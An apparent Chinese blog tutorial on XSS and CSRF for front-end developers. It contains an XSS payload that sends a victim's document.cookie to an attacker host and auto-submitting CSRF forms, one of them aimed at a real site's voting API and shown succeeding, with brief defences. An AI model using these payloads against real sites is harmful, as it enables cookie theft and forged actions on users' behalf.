Web 学习笔记 - 网络安全
前言
作为 前端开发者,了解一点 Web 安全方面的基本知识是有很必要的,未必就要深入理解。本文主要介绍常见的网络攻击类型,不作深入探讨。
正文
网络攻击的形式种类繁多,从简单的网站敏感文件扫描、弱口令暴力破解,到 SQL 注入,再到复杂的网络劫持等,种类万千。
本文只介绍以下两种攻击:
- XSS 攻击
- CSRF 攻击
如果你对其他更高大上的网络攻击有兴趣,可以点击这里:Web 安全学习笔记 - 高级网络攻击。
XSS 攻击
XSS,跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往Web页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击实现的方式和 SQL 注入有点类似,是一种基于 DOM 结构的攻击。利用网站对用户输入、请求参数没有验证,在参数中构造恶意 JavaScript 脚本,嵌入页面运行,从而达到攻击的目的。
如果再细分,XSS 可分成以下三种:
- DOM-based XSS(基于 DOM的 XSS 攻击)
- Stored XSS(基于存储的 XSS 攻击)
- Reflected XSS(基于反射的 XSS 攻击)
这三种方式大同小异,这里不做细分。
简单示例
举个例子:
某网站的某个页面(http://example.com/page)是这样实现的:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
文章内容:<%= request.getParameter("content") %>
</body>
</html>
我们在浏览器打开连接:http://example.com/page?content=<script>alert('Hello world')</script>
,就可以看到一个 Hello world 的弹窗。
只要能在页面插入可运行的脚本,那么就可以做很多事。比如获取页面的某些信息,发送到自己的服务器。或者获取网站的 Cookie。
攻击者搭建了一个网站,写了个页面或接口:http://me.com?param=xxx
。只要有人访问这个页面,服务端就能把 param
参数保存在数据库。
然后再构造另一个链接:http://example.com/page?content=<script>window.open('me.com?param' + document.cookie)</script>
只要有人打开这个链接,就能把浏览器在 example.com 上的 cookie 保存到攻击者的服务器。剩下的事就是诱导点击,等着鱼上钩了。
XSS 防御
要做好 XSS 防御,主要是不要相信用户的输入,对所有的请求参数做检查。
使用富文本时,使用XSS规则引擎进行编码过滤。
当然,很多时候是不能过滤掉标签的,像博客园这样的网站,用户经常发代码,不能过滤掉,只能进行转码再显示:
CSRF
什么是 CSRF
CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack” 或者 session riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。
简单地说,就是攻击者盗用了你的身份,以你的名义发送恶意请求。
简单示例
举个栗子。
某博客网站用户登录后,可以给其他用户点赞。点赞的 API 接口是 http://example.com/like?user_id=xxx
,并且这是一个 GET 请求接口。
A 是一个虚荣的程序员,为了赞丧心病狂。他的用户 ID 是 1234。于是他构造了一个这样的 URL:http://example.com/like?user_id=1234
。
很显然,只要其他用户在博客网站登陆了,并且用户的浏览器请求了这个 URL,那么 A 就能得到一个赞。
接着,他在博客网站写了一篇文章《程序员 30 天学会把妹技巧》,文章里插入这样的一张图片:
<img src="http://example.com/like?user_id=1234">
我们知道,浏览器对于图片请求是默认允许的。于是,当已登陆用户浏览他的文章时,A 就会获得一个赞。
以上示例可以看出,GET 请求的安全性是很低的。当然,这里使用 GET 请求不符合 HTTP 规范。
升级版示例
好景不长,某天,网站管理员忽然发现有一篇文章的赞数高得令人发指,文章质量却是惨不忍睹,很是可疑。看到底部,卧槽,自己竟然也点了推荐?于是赶忙叫程序员加班,把接口改成 POST 请求,修复了这个漏洞。
然并卵,这依然难不倒 A。于是他写了这段代码,放在他自己的站点上。
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form id="form" method="POST" action="http://example.com/like">
<input type="hidden" name="user_id" value="1234">
</form>
<script>
var form = document.getElementById('form')
form.submit()
</script>
</body>
</html>
诱导点击是一个 CSRF 攻击的常用手段之一。于是他在文章写下:
深夜福利,有图有真相,请戳 http://laosiji.com。
没过多久,他的 ID 就被管理员封了。
真实示例
学以致用一直是我学习的常用方法之一。今天就拿博客园来做实验。
注意,以下示例仅供学习参考!
浏览器打开开发者工具,点击这篇文章下面的推荐按钮(请点击后再往下阅读),便可以看到博客园推荐 API 的地址是:
POST http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx
参数 | 说明 |
---|---|
blogApp | 用户名(页面 URL 中可以看到) |
postId | 文章 ID(页面 URL 中可以看到) |
voteType | Digg(赞、顶、推荐的意思) |
isAbandoned | false(不懂) |
然后写个静态页面,放在你的服务器上:
<html>
<head>
<meta charset="utf-8">
<title>深夜福利,有图有真相</title>
</head>
<body>
<form id="form" method="POST" action="http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx">
<input type="hidden" name="blogApp" value="smallchen">
<input type="hidden" name="postId" value="7424994">
<input type="hidden" name="voteType" value="Digg">
<input type="hidden" name="isAbandoned" value="false">
</form>
<script>
var form = document.getElementById('form')
form.submit()
</script>
</body>
</html>
因为不能推荐自己,我把 blogApp
和 postId
改成其他人的文章来测试。然后登录博客园,在服务器环境下打开页面,显示:
{"Id":0,"IsSuccess":true,"Message":"推荐成功","Data":null}
如果未登录,则会提示:
{
"Id": 0,
"IsSuccess": false,
"Message": "请先<a href='javascript:void(0);' onclick='login()'>登录</a>",
"Data": null
}
刷新文章页面,嗯~,确实推荐成功了!
如果你不需要赞,想要好评,也是可以滴。你可以在这篇文章下面写个好评,看看开发者工具的调试信息。
可以看出接口是:
POST http://www.cnblogs.com/mvc/PostComment/Add.aspx
参数 | 说明 |
---|---|
blogApp | 用户名 |
postId | 文章 ID |
parentCommentId | 0 |
body | 评论内容 |
相关代码:(注:完成这篇文章后发现这段代码不起作用,因为表单提交的方式不同,好像涉及到 request payload 相关的知识,我也不懂。这段代码就不删了。)
<html>
<head>
<meta charset="utf-8">
<title>深夜福利,有图有真相</title>
</head>
<body>
<form id="form" method="POST" action="http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx">
<input type="hidden" name="blogApp" value="smallchen">
<input type="hidden" name="postId" value="7424994">
<input type="hidden" name="parentCommentId" value="0">
<input type="hidden" name="body" value="卧槽,我中招了!">
</form>
<script>
var form = document.getElementById('form')
form.submit()
</script>
</body>
</html>
当然,你也可以做点其他事情,比如:[根据法律法规,此处无法显示]。
CSRF 防御
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
总结
写这篇文章,主要是为了骗赞科普 Web 安全相关的知识,让大家对 Web 安全有基本的了解。
如果你对 Web 安全感兴趣,可以点击Web 安全学习笔记 - 高级网络攻击。
最后,献上福利:深夜福利,有图有真相。
Web 学习笔记 - 网络安全的更多相关文章
- [原创]java WEB学习笔记95:Hibernate 目录
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- [原创]java WEB学习笔记75:Struts2 学习之路-- 总结 和 目录
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- [原创]java WEB学习笔记66:Struts2 学习之路--Struts的CRUD操作( 查看 / 删除/ 添加) 使用 paramsPrepareParamsStack 重构代码 ,PrepareInterceptor拦截器,paramsPrepareParamsStack 拦截器栈
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- java web 学习笔记 编码问题总结
java web 学习笔记 编码问题总结 1.非form表单中提交的中文参数---------------------------传递给Servlet服务器时,默认以iso-8859-1解码 ...
- Java Web 学习笔记 1
Java Web 学习笔记 1 一.Web开发基础 1-1 Java Web 应用开发概述 1.1.1 C/S C/S(Client/Server)服务器通常采用高性能的PC机或工作站,并采用大型数据 ...
- [原创]java WEB学习笔记11:HttpServlet(HttpServletRequest HttpServletRsponse) 以及关于 Servlet 小结
本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...
- Java Web学习笔记之---EL和JSTL
Java Web学习笔记之---EL和JSTL (一)EL (1)EL作用 Expression Language(表达式语言),目的是代替JSP页面中复杂的代码 (2)EL表达式 ${变量名} ( ...
- Java Web学习笔记之---JSP
Java Web学习笔记之---JSP (一)JSP常用语法 (1)HTML注释 <!--所要注释的内容 --> 在客户端显示一个注释. (2)隐藏注释 <%--所要注释的内容--% ...
- JAVA Web学习笔记
JAVA Web学习笔记 1.JSP (java服务器页面) 锁定 本词条由“科普中国”百科科学词条编写与应用工作项目 审核 . JSP全名为Java Server Pages,中文名叫java服务器 ...
随机推荐
- web.xml is missing and <failOnMissingWebXml> is se
摘要 maven模块化 在学习maven模块化构建项目的时候遇到了如下报错信息: web.xml is missing and <failOnMissingWebXml> is set t ...
- windows调试工具列表
摘自windbg帮助文档(windbg中输入.hh): Debugging Tools for Windows (安装WinDbg后这些工具都会安装在目录C:\Program Files (x86)\ ...
- Python之MRO及其C3算法
[<class '__main__.B'>, <class '__main__.A'>, <class 'object'>] (<class '__main_ ...
- poj_3258:River Hopscotch(二分)
题目链接 L为N+2块石子中最右边石子位置,0最左,M为可移除块数,求移除后相邻石子可达到的最大距离. #include<iostream> #include<cstdio> ...
- (转)Spring 的 init-method 和 destory-method
背景:今天在项目中看到spring中bean在初始化和注销时候的方法定义,之前没有用过这种方式,在此记录下,方便后期查看! 关于在spring 容器初始化 bean 和销毁前所做的操作定义方式有三种: ...
- vue.js使用props在父子组件之间传参
本篇文章是我参考官方文档整理的,供大家参考,高手勿喷! prop 组件实例的作用域是孤立的.这意味着不能 (也不应该) 在子组件的模板内直接引用父组件的数据.要让子组件使用父组件的数据,我们需要通过子 ...
- 安装cocoaPods第三方类库
*1 检测gem 镜像文件 输入指令: gem sources -l 回车后得到镜像地址.可能是一个,也可能有好几个,常见两个如下 https://rubygems.org/ ...
- web前端开发面试题(未完待续)
一.HTML与XHTML的不同:1)XHTML元素必须被正确地嵌套 2)元素必须被关闭 如:<h1>--</h1>关闭 3)标签名必须用小写字母 4)XHTML文档必须有根 ...
- ES6中的类
前面的话 大多数面向对象的编程语言都支持类和类继承的特性,而JS却不支持这些特性,只能通过其他方法定义并关联多个相似的对象,这种状态一直延续到了ES5.由于类似的库层出不穷,最终还是在ECMAScri ...
- yii2 request文件简介
1. 在yii2项目中经常用到下面这些方法: 方法 解释 Yii::$app->request->get($key,$defaultValue) GET方式获取key的值,若key空,则k ...